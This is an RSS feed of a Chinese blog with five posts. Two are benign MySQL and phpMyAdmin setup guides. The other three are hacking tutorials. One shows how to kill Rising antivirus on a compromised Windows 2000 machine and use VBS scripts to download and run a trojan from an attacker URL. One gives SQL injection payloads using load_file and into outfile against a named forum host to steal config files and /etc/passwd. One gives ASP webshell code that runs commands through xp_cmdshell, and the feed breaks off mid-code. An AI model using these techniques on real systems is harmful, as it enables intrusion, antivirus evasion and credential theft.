<?xml version="1.0" encoding="GB2312"?>
<rss version="2.0">
<channel>
	<title>同缘博客</title>
	<link>http://www.newtzly.net/newblog/</link>
	<description>0</description>
	<generator>Oblog 4.0</generator>
	<webMaster>rok_i@126.com</webMaster>
<item>
<title><![CDATA[【经验】安装、卸载mysql服务]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1217.html</link>
<author>roki</author>
<pubDate>2008-2-5 22:44:00</pubDate>
<description><![CDATA[<DIV style="TEXT-INDENT: 2em">安装、卸载mysql服务 </DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">1、卸载mysql得时候先要&nbsp;，命令行下&nbsp;&nbsp;&nbsp; net stop mysql</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">2、点击“添加/删除”程序里的 mysql5.0 ，进行卸载</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">3、检查任务管理器里得相关进程是不是停止，检查服务里的mysql服务是不是没有了</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">4、重启系统</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">5、删除原先mysql安装目录下的所有的安装文件</DIV>
<DIV style="TEXT-INDENT: 2em">－－－－－－－－－－－－－－－－－－－－－－</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">安装时可能会遇到 配置时，最后一步里有 4个循序的项目，程序一个一个自动完成，其中后2个可能会遇到问题而失败</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">1）不能 “启动服务”，这个是因为进程没有被杀掉的缘故，还有mysql的进程 ，检查任务管理器，有mysql的进程就杀了</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">2）最后一个，英文叫什么 ～～～～～fix ?，这个只要，点try,即可。。。。</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">－－－－－－－－－－－－－－－－－－－－－</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">以下引用文章：</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<DIV style="TEXT-INDENT: 2em">&nbsp;</DIV>
<P style="TEXT-INDENT: 2em">安装mysql服务 </P>
<P style="TEXT-INDENT: 2em">新建并编辑内容如下的一个bat文件，执行之（e:\mysql\bin\mysqld-nt.exe为安装目录，按实际情况填写） </P>
<P style="TEXT-INDENT: 2em">@ECHO OFF </P>
<P style="TEXT-INDENT: 2em">e:\mysql\bin\mysqld-nt.exe -install </P>
<P style="TEXT-INDENT: 2em">net start mysql </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">卸载mysql服务 </P>
<P style="TEXT-INDENT: 2em">新建并编辑内容如下的一个bat文件执行之（e:\mysql\bin\mysqld-nt.exe为安装目录，按实际情况填写） </P>
<P style="TEXT-INDENT: 2em">@ECHO OFF </P>
<P style="TEXT-INDENT: 2em">net stop mysql </P>
<P style="TEXT-INDENT: 2em">c:\mysql\bin\mysqld-nt.exe -remove </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">-------------------------------------------- </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">MYSQL启动不了的问题.具体表现如下:不管是直接双击mysqld.exe还是在命令提示符不都是没反应.(XP系统) </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">然后尝试 控制面板 &gt;&gt;&gt; 管理工具 &gt;&gt;&gt; 服务 &gt;&gt;&gt; mysql 方法启动,弹出提示框就进程意外终止.郁闷了...... </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">只好卸载了mysql重装,结果发现问题没解决.去请教别人竟得到重装系统的提示.开始抓狂了...... </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">好了,痛苦的回忆就到这里,现在讲怎么解决. </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">首先是要卸载mysql服务,不然就算卸载了mysql程序,服务中依然有mysql这项,问题就解决不了.假设我的mysql装在C:\MYSQL,在命令提示符c:\mysql\bin下运行mysqld-nt -remove(中间有空格),会提示卸载成功.然后再在 控制面板 &gt;&gt;&gt; 添加或删除程序 中卸载mysql,之后重启,再装上mysql运行mysqld.exe(win2000下是mysqld-nt.exe),命令提示符框一闪而过,这样你这可以在任务管理器中看到mysql这个进程了,也就是说你的mysql又复活了: ) </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">------------------------------------------------------------------ </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">安装常见问题之一：MYSQL为什么安装不成功？ </P>
<P style="TEXT-INDENT: 2em">　安装 MYSQL 不成功，一般是因为服务器可能安装过 MYSQL 而没有完全卸载，具体卸载方法如下： </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">第一步： </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">如果您的系统中安装有 MYSQL 数据库，请确认是否已经加载在系统服务中：打开“控制面板”的“管理工具”查看“服务”是否有“ MYSQL ”进程，如果有将其停止。 </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">第二步： </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">请在 DOS 状态下执行 “ mysqld-nt -remove ”命令，将其在系统服务中删除。 </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">第三步： </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">“ MYSQL系统服务”在 DOS 状态下删除成功。 </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">第四步： </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">接下来请您在“控制面板”的“添加 / 删除程序”中将其卸载。 </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">第五步： </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">在您的系统中将 c:\MYSQL 文件夹删除即可。 </P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">如果您确认以上所说的运行环境都已经完全删除。再次安装系统仍然无法使用。请到您的 c 盘符下。确认是否存在运行所需要的数据目录 c:\j2sdk1.4.1_03, c:\mysql,c:\resin 。并且系统服务里的 MYSQL 服务和 RESIN 服务都已启动。如果满足上述条件系统仍然无法使用，请您与恩信科技服务中心联系。恩信科技的服务工程师将及时，诚挚的为您解决系统中存在的问题。 </P>]]></description>
</item><item>
<title><![CDATA[PHPMYADMIN简明安装教程]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1216.html</link>
<author>roki</author>
<pubDate>2008-1-27 21:24:00</pubDate>
<description><![CDATA[<BR>简单的说，phpmyadmin就是一种mysql的管理工具，安装该工具后，即可以通过web形式直接管理mysql数据，而不需要通过执行系统命令来管理，非常适合对数据库操作命令不熟悉的数据库管理者，下面我就说下怎么安装该工具：<BR><BR>1.先到网上下载phpmyadmin，再解压到可以访问的web目录下（如果是虚拟空间，可以解压后通过ftp等上传到web目录下），当然您可以修改解压后该文件的名称。<BR><BR>2.配置config文件<BR>&nbsp;&nbsp;打开libraries下的config.default.php文件，依次找到下面各项，按照说明配置即可：<BR>A.访问网址<BR>引用:<BR>$cfg['PmaAbsoluteUri'] = '';这里填写phpmyadmin的访问网址<BR><BR>B.mysql主机信息<BR>引用:<BR>$cfg['Servers'][$i]['host'] = 'localhost'; // MySQL hostname or IP address<BR>填写localhost或mysql所在服务器的ip地址，如果mysql和该phpmyadmin在同一服务器，则按默认localhost<BR>$cfg['Servers'][$i]['port'] = ''; // MySQL port - leave blank for default port<BR>mysql端口，如果是默认3306，保留为空即可<BR><BR>C.mysql用户名和密码<BR>引用:<BR>$cfg['Servers'][$i]['user'] = 'root'; // MySQL user 访问phpmyadmin使用的mysql用户名<BR>fg['Servers'][$i]['password'] = ''; // MySQL password (only needed对应上述mysql用户名的密码<BR>D.认证方法<BR>引用:<BR>$cfg['Servers'][$i]['auth_type'] = 'cookie';<BR>在此有四种模式可供选择，cookie，http，HTTP，config<BR>&nbsp;&nbsp; config方式即输入phpmyadmin的访问网址即可直接进入，无需输入用户名和密码，是不安全的，不推荐使用。<BR>&nbsp;&nbsp; 当该项设置为cookie，http或HTTP时，登录phpmyadmin需要数据用户名和密码进行验证，,具体如下：<BR>&nbsp;&nbsp; PHP安装模式为Apache，可以使用http和cookie；<BR>&nbsp;&nbsp; PHP安装模式为CGI，可以使用cookie<BR><BR>E.短语密码(blowfish_secret)的设置<BR>引用:<BR>$cfg['blowfish_secret'] = '';<BR>如果认证方法设置为cookie，就需要设置短语密码，置于设置为什么密码，由您自己决定&nbsp;&nbsp;，但是不能留空，否则会在登录phpmyadmin时提示错误<BR>&nbsp;&nbsp;好了，到此为止，您已经成功安装了phpmyadmin，简单吧 ，赶快登录体验下吧<BR><BR>说明：<BR>该文档说明的只是安装phpmyadmin的基本配置，关于config.default.php文件中各个配置参数的详细说明可以参考：<A href="http://www.discuz.net/viewthread.php?tid=50789" target=_blank>http://www.discuz.net/viewthread.php?tid=50789</A>&amp;highlight=phpmyadmin <BR>]]></description>
</item><item>
<title><![CDATA[[原创]2000肉鸡取得DOS shell以后杀掉瑞星的进程!]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1215.html</link>
<author>roki</author>
<pubDate>2008-1-25 2:54:00</pubDate>
<description><![CDATA[<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=1 cellPadding=3 width="98%" border=0>
<TBODY>
<TR>
<TD><B>[原创]2000肉鸡取得DOS&nbsp;shell以后杀掉瑞星的进程!</B><BR>洛奇 发表于 2007-3-13 10:36:00 </TD></TR>
<TR>
<TD height=0>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<P>溢出取得shell很多朋友都会,但是啊,常常有些肉鸡就是很郁闷,开着瑞星啊 之类的东西,让你传不了马过去......,这两天,我也是自己亲身摸索找到一个绝对好用的方法(2000系统下有效).<BR><BR>第一步:溢出取得 cmdshell (这个就不需要我去重复了吧?很多方法)<BR><BR><BR>第二步:要找出当前瑞星的进程是哪个.在网上很少说道怎么在 DOS下查看进程的方法(总之我就很少找到,找到一个还不能用,气死了)</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>步骤脚本：</P>
<P>关瑞星防火墙之前 先重命名几个主要文件</P>
<P>cd C:\Program Files\Rising\Rav\<BR>ren CCenter.exe CCenter.exe1<BR>ren Rav.exe Rav.exe1<BR>ren RavMon.exe RavMon.exe1<BR>ren RavXP.exe RavXP.exe1<BR>ren RavStub.exe RavStub.exe1<BR>ren Ravmond.exe Ravmond.exe1<BR>ren RavTask.exe RavTask.exe1</P>
<P><BR>cd C:\Program Files\Rising\Rfw\<BR>ren rfwsrv.exe rfwsrv.exe1<BR>ren rfwmain.exe rfwmain.exe1</P>
<P>然后回到系统目录，创建查看线程的教本</P>
<P>cd C:\WINNT\system32</P>
<P>echo wscript.echo "PID ProcessName":for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ :wscript.echo ps.handle:wscript.echo ps.name:next &gt;a.vbs</P>
<P><BR>然后运行&nbsp; <BR>cscript a.vbs</P>
<P>找出正在运行的瑞星程序对应的PID 用下面命令杀进程(有多少进程杀多少，***表示运行中的进程PID)</P>
<P>ntsd -c q -p ***</P>
<P><BR>杀完后 可以用 cscript a.vbs<BR>确认一下，还有残留的要继续杀</P>
<P><BR>接着 写入传木马教本</P>
<P>echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"<A href='http://www.***.net/ma/m.exe^",0:xPost.Send():Set'>http://www.***.net/ma/m.exe^",0:xPost.Send():Set</A> sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"c:\winnt\system32\m.exe^",2 &gt;d.vbs</P>
<P>执行它程序就会下载木马</P>
<P>cscript d.vbs</P>
<P>OK!回到提示符下 即可运行木马</P>
<P>M.EXE</P>
<P>－－－－－－－－－－－－－－－－－－</P>
<P><BR>把瑞星恢复</P>
<P>cd C:\Program Files\Rising\Rav\<BR>ren CCenter.exe1 CCenter.exe<BR>ren Rav.exe1 Rav.exe<BR>ren RavMon.exe1 RavMon.exe<BR>ren RavXP.exe1 RavXP.exe<BR>ren RavStub.exe1 RavStub.exe<BR>ren Ravmond.exe1 Ravmond.exe<BR>ren RavTask.exe1 RavTask.exe</P>
<P><BR>cd C:\Program Files\Rising\Rfw\<BR>ren rfwsrv.exe1 rfwsrv.exe<BR>ren rfwmain.exe1 rfwmain.exe</P>
<P><BR><BR>自己写了一个VBS 脚本.(前提是 肉鸡上 CSCRIPT能用,没被别的黑客删改掉,就绝对没问题的哦)<BR><BR>内容如下:<BR>wscript.echo "PID ProcessName" <BR>for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_<BR>wscript.echo ps.handle<BR>wscript.echo ps.name<BR>next<BR><BR><BR>-----------以下是实际操作把这些内容写进一个a.vbs文本里-------------------<BR>C:\&gt;echo wscript.echo "PID ProcessName" &gt;a.vbs<BR><BR>C:\&gt;echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ &gt;&gt;a.vbs<BR><BR>C:\&gt;echo wscript.echo ps.handle &gt;&gt;a.vbs<BR><BR>C:\&gt;echo wscript.echo ps.name &gt;&gt;a.vbs<BR><BR>C:\&gt;echo next &gt;&gt;a.vbs<BR><BR>---------------以下操作通过执行 a.vbs 可以列出所有的活动进程以及 进程ID--------------------<BR>C:\&gt;cscript a.vbs<BR><BR><BR>----------------------结果如下:---------------------------------------------------------------<BR><BR><BR>D:\&gt;cscript_ a.vbs<BR>Microsoft (R) Windows Script Host Version 5.6<BR>版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。<BR><BR>PID ProcessName<BR>0<BR>System Idle Process<BR>8<BR>System<BR>176<BR>smss.exe<BR>200<BR>csrss.exe<BR>220<BR>WINLOGON.EXE<BR>248<BR>SERVICES.EXE<BR>260<BR>LSASS.EXE<BR>460<BR>svchost.exe<BR>488<BR>CCenter.exe<BR>504<BR>RavMonD.exe<BR>592<BR>spoolsv.exe<BR>640<BR>rundll32.exe<BR>668<BR>svchost.exe<BR>716<BR>LLSSRV.EXE<BR>768<BR>RavStub.exe<BR>860<BR>PPPoEService.ex<BR>888<BR>ShadowService.e<BR>904<BR>stisvc.exe<BR>952<BR>TAPPSRV.exe<BR>980<BR>winmgmt.exe<BR>992<BR>svchost.exe<BR>1004<BR>inetinfo.exe<BR>1236<BR>explorer.exe<BR>1328<BR>dfssvc.exe<BR>1376<BR>RavTask.exe<BR>1392<BR>RavMon.exe<BR>1428<BR>VStart.exe<BR>1484<BR>internat.exe<BR>1496<BR>svchost.exe<BR>1504<BR>sqlmangr.exe<BR>288<BR>EnterNetFolder.<BR>244<BR>EnterNet.exe<BR>1136<BR>QQ.exe<BR>1008<BR>ACDSee.exe<BR>2120<BR>conime.exe<BR>532<BR>GMTBJQYFMUBIQXE<BR>1712<BR>IEXPLORE.EXE<BR>2912<BR>IEXPLORE.EXE<BR>3076<BR>H_Client.exe<BR>5516<BR>IEXPLORE.EXE<BR>5752<BR>EasyPanel.exe<BR>6608<BR>IEXPLORE.EXE<BR>4816<BR>editplus.exe<BR>5688<BR>isqlw.exe<BR>7244<BR>notepad.exe<BR>6992<BR>nc.exe<BR>7372<BR>nc.exe<BR>7380<BR>nc.exe<BR>7240<BR>notepad.exe<BR>1772<BR>CMD.EXE<BR>7592<BR>CMD.EXE<BR>5872<BR>notepad.exe<BR>5824<BR>taskmgr.exe<BR>7576<BR>notepad.exe<BR><BR><BR><BR>以上看到了么?就是一个进程ID 接着一个进程名称,从上面可以看到我的瑞星进程ID是504<BR><BR>第三步:杀掉瑞星进程 ,好了 要杀掉这个该死的瑞星,谁让他档我上传网马呢?嘿嘿<BR><BR>用命令 c:/&gt;ntsd -c q -p 504 &nbsp; <BR><BR>过一会 ,你发现 瑞星已经被我们关掉拉....不信你可以重新执行C:\&gt;cscript a.vbs<BR>查看一下....嘿嘿<BR><BR><BR>第四步:传小马过去咯,方法多种多样.......流行的做法是 tftp 或者 ftp........没有瑞星的感觉真好....嘿嘿......如果这两种都不行,你就试试我这种.....哈哈哈 <BR><BR>脚本下载法:<BR><BR><BR><BR>上传木马到主机上的脚本<BR><BR><BR>C:\&gt;echo Set xPost = CreateObject("Microsoft.XMLHTTP") &gt;webdown.vbs<BR><BR>C:\&gt;echo xPost.Open "GET","http://你的木马网址/你的木马.exe",0 &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo xPost.Send() &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo Set sGet = CreateObject("ADODB.Stream") &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo sGet.Mode = 3 &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo sGet.Type = 1 &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo sGet.Open() &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo sGet.Write(xPost.responseBody) &gt;&gt;webdown.vbs<BR><BR>C:\&gt;echo sGet.SaveToFile "muma.exe",2 &gt;&gt;webdown.vbs<BR><BR>C:\&gt;cscript webdown.vbs<BR>Microsoft (R) Windows Script Host Version 5.6<BR>版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。<BR><BR><BR>C:\&gt;<BR><BR><BR>这个时候 你的木马已经被下载到 C盘下了 ,名字就是 muma.exe <BR><BR>赶紧执行他吧 一会,就看到肉鸡上线咯.....</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[PHP+MYSQL的高级注入技术]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1214.html</link>
<author>roki</author>
<pubDate>2008-1-25 2:53:00</pubDate>
<description><![CDATA[我们知道，在SQL语句中，可以使用各种MySQL内置的函数，经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息，还有一个应用得比较多的函数，就是load_file()，该函数的作用是读入文件，将文件内容作为一个字符串返回。<BR><BR><BR>看到这里，应该可以想到我们可以做什么了，就是读取一些机密文件，但是也是有条件限制的：<BR>　　<BR>　　欲读取文件必须在服务器上<BR>　　<BR>　　必须指定文件完整的路径<BR>　　<BR>　　必须有权限读取并且文件必须完全可读<BR>　　<BR>　　欲读取文件必须小于 max_allowed_packet<BR>　　<BR>　　如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限，在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到只有administrators才能访问的文件，users就别想load_file出来。<BR>　　<BR>　　在实际的注入中，我们有两个难点需要解决：<BR>　　<BR>　　绝对物理路径<BR>　　<BR>　　构造有效的畸形语句<BR>　　<BR>　　在很多PHP程序中，当提交一个错误的Query，如果display_errors = on，程序就会暴露WEB目录的绝对路径，只要知道路径，那么对于一个可以注入的PHP程序来说，整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。<BR>　　<BR>　　利用<BR>　　我们假设一个程序的SQL语句如下：<BR>　　<BR>　　SELECT * FROM article WHERE articleid=$id<BR>　　<BR>　　注：当前条件：magic_quotes_gpc = off，c:/boot.ini可读。<BR>　　<BR>　　此时，我们构造$id为：<BR>　　<BR>　　-1 union select 1,1,1,1,load_file('c:/boot.ini')<BR>　　<BR>　　我们的Query就变成：<BR>　　<BR>　　SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')<BR>　　<BR>　　程序会把c:/boot.ini内容老老实实显示出来，但是现在magic_quotes_gpc = off的主机少之又少，怎么才能构造出没有引号的语句呢？看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制，没错，就是它们。<BR>　　<BR>　　注：当前条件：magic_quotes_gpc = on，c:/boot.ini可读。<BR>　　<BR>　　我们构造$id为：<BR>　　<BR>　　-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))<BR>　　<BR>　　“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码，我们的Query就变成：<BR>　　<BR>　　SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))<BR>　　<BR>　　我们也可以成功的读取boot.ini文件，还有把字符串转换为16进制的，“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”，所以上面的语句可以是这样：<BR>　　<BR>　　SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)<BR>　　<BR>　　比较短了，看各人喜好了，大家可以在phpmyadmin或mysql&gt;下输入以下查询慢慢研究。<BR>　　<BR>　　SELECT load_file([string])<BR>　　<BR>　　当然，在实际应用中，由于种种条件限制，文件的内容未必会显示出来，我们也可以用into outfile把文件导出。大家已经知道如何利用了，我也不说细节了，看一个实例说明一切。<BR>　　<BR>　　实例<BR>　　www.***host.cn是我国著名的FreeBSD主机提供商，我们就拿他来测试，因为它的论坛采用的是calendar.php存在问题的VBB论坛，我就不需要到处去找有漏洞的站点了（虽然到处都是）。这是一次完整的安全测试。仅仅获取信息，我并未进入服务器。<BR>　　<BR>　　这里补充说明一点关于VBB的根目录下global.php的一段代码，如下：<BR>　　<BR>　　// get rid of slashes in get / post / cookie data<BR>　　<BR>　　function stripslashesarray (&amp;$arr) {<BR>　　<BR>　　while (list($key,$val)=each($arr)) {<BR>　　<BR>　　if ($key!="templatesused" and $key!="argc" and $key!="argv") {<BR>　　<BR>　　if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) {<BR>　　<BR>　　$arr["$key"] = stripslashes($val);<BR>　　<BR>　　} else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) {<BR>　　<BR>　　$arr["$key"] = stripslashesarray($val);<BR>　　<BR>　　}<BR>　　<BR>　　}<BR>　　<BR>　　}<BR>　　<BR>　　return $arr;<BR>　　<BR>　　}<BR>　　<BR>　　if (get_magic_quotes_gpc() and is_array($GLOBALS)) {<BR>　　<BR>　　if (isset($attachment)) {<BR>　　<BR>　　$GLOBALS['attachment'] = addslashes($GLOBALS['attachment']);<BR>　　<BR>　　}<BR>　　<BR>　　if (isset($avatarfile)) {<BR>　　<BR>　　$GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']);<BR>　　<BR>　　}<BR>　　<BR>　　$GLOBALS = stripslashesarray($GLOBALS);<BR>　　<BR>　　}<BR>　　set_magic_quotes_runtime(0);<BR>　　<BR>　　这段代码的作用就是如果magic_quotes_gpc打开，就去掉所有特殊字符的前面的转义字符，所以，不管php.ini里magic_quotes_gpc的状态如何，我们输入的单引号都没有影响的，大家可以放心注入。呵呵。<BR>　　<BR>　　我们知道，提交：<BR>　　<BR>　　/calendar.php?action=edit&amp;eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1<BR>　　<BR>　　是可以获取用户名和密码MD5散列的，但是由于特殊原因，并没有显示出来，但凭我的经验，知道并没有构造错，所以我们可以读取并导出成文件。<BR>　　<BR>　　因为事先我无意中访问到了含有phpinfo()的文件，所以知道了WEB的绝对路径，从访问站点的结果，发现一个下载系统是生成HTML文件的，如果那个目录没有可写权限，是不能生成HTML文件的，不过这一切都不是本文的重点，我们现在掌握如下信息：<BR>　　<BR>　　WEB绝对路径：/home/4ngel<BR>　　<BR>　　可写目录路径：/home/4ngel/soft/<BR>　　<BR>　　magic_quotes_gpc = on<BR>　　<BR>　　和主机root相比，论坛的admin根本就不算什么，我对论坛admin也不感兴趣，我们要读取论坛的配置文件还有/etc/passwd，知道MySQL的连接信息，可以从这里入手，写webshell或其他的东西，知道/etc/passwd我们可以跑密码。直接从ssh上去。<BR>　　<BR>　　VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码，提交：<BR>　　<BR>　　calendar.php?action=edit&amp;eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'<BR>　　<BR>　　呵呵，记得加一个where来定一个条件，否则如果论坛用户很多，那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值，就不用where了，就像这样：<BR>　　<BR>　　calendar.php?action=edit&amp;eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt' <BR>　　<BR>　　/etc/passwd转换成ASCII代码，提交：<BR>　　<BR>　　calendar.php?action=edit&amp;eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'<BR>　　<BR>　　注意看到论坛的顶部，会出现下面的错误提示：<BR>　　<BR>　　Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154<BR>　　<BR>　　经验告诉我们，文件导出成功了，提交：<BR>　　<BR>　　<A href="http://www.xxxhost.cn/soft/cfg.txt" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://www.xxxhost.cn/soft/cfg.txt</SPAN></A><BR>　　<BR>　　<A href="http://www.xxxhost.cn/soft/etcpwd.txt" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://www.xxxhost.cn/soft/etcpwd.txt</SPAN></A><BR>　　<BR>　　内容哗啦啦的出来了，而黑夜和猪蛋的他们入侵灰色的时候，一个个显示密码，欺骗，登陆后台，上传后门，读取config.php，一连串的步骤，我一个load_file()就搞定了。是不是危害很大？<BR>　　<BR>　　我记得在某个群里讨论到大家都是通过搞9****.net这个站，而进入黑白服务器的，没有办法对黑白横冲直闯，只得来曲线的。用load_file()函数，知道了某些信息就可以进入黑白所在的服务器，过程和上面的一样，利用show.php的漏洞，直接load_file出程序的配置文件，知道了mysql的信息，远程连接，写数据库导出文件，很容易获得服务器admin。<BR>]]></description>
</item><item>
<title><![CDATA[两段利用SA权限提升权限的代码]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1213.html</link>
<author>roki</author>
<pubDate>2008-1-25 2:52:00</pubDate>
<description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<P>方法一：<BR><BR>获得一个 webshell 以及一个机器的 sql server的sa权限后，在 机器不开通 Sql远程登陆的情况下，我就会用这段代码，来实现本地执行我需要执行的dos命令。<BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><BR>&lt;%<BR><BR>&nbsp; &nbsp; actionstr=request("action")<BR>&nbsp; &nbsp; uid=sa<BR>&nbsp; &nbsp; pwd=sa<BR>&nbsp; &nbsp; db="master"<BR><BR><BR>&nbsp; &nbsp; if actionstr&lt;&gt;"" then<BR><BR>&nbsp; &nbsp; dim conn<BR>&nbsp; dim connstr<BR>&nbsp; Set conn = Server.CreateObject("ADODB.Connection")<BR>&nbsp; connstr="Driver={SQL Server};server=(local);uid="&amp;uid&amp;";pwd="&amp;pwd&amp;";database="&amp;db&amp;";"<BR>&nbsp; conn.Open connstr<BR><BR><BR>&nbsp; &nbsp; sql="master.dbo.xp_cmdshell '"&amp;actionstr&amp;"'"<BR>&nbsp; &nbsp; conn.execute(sql)<BR>&nbsp; 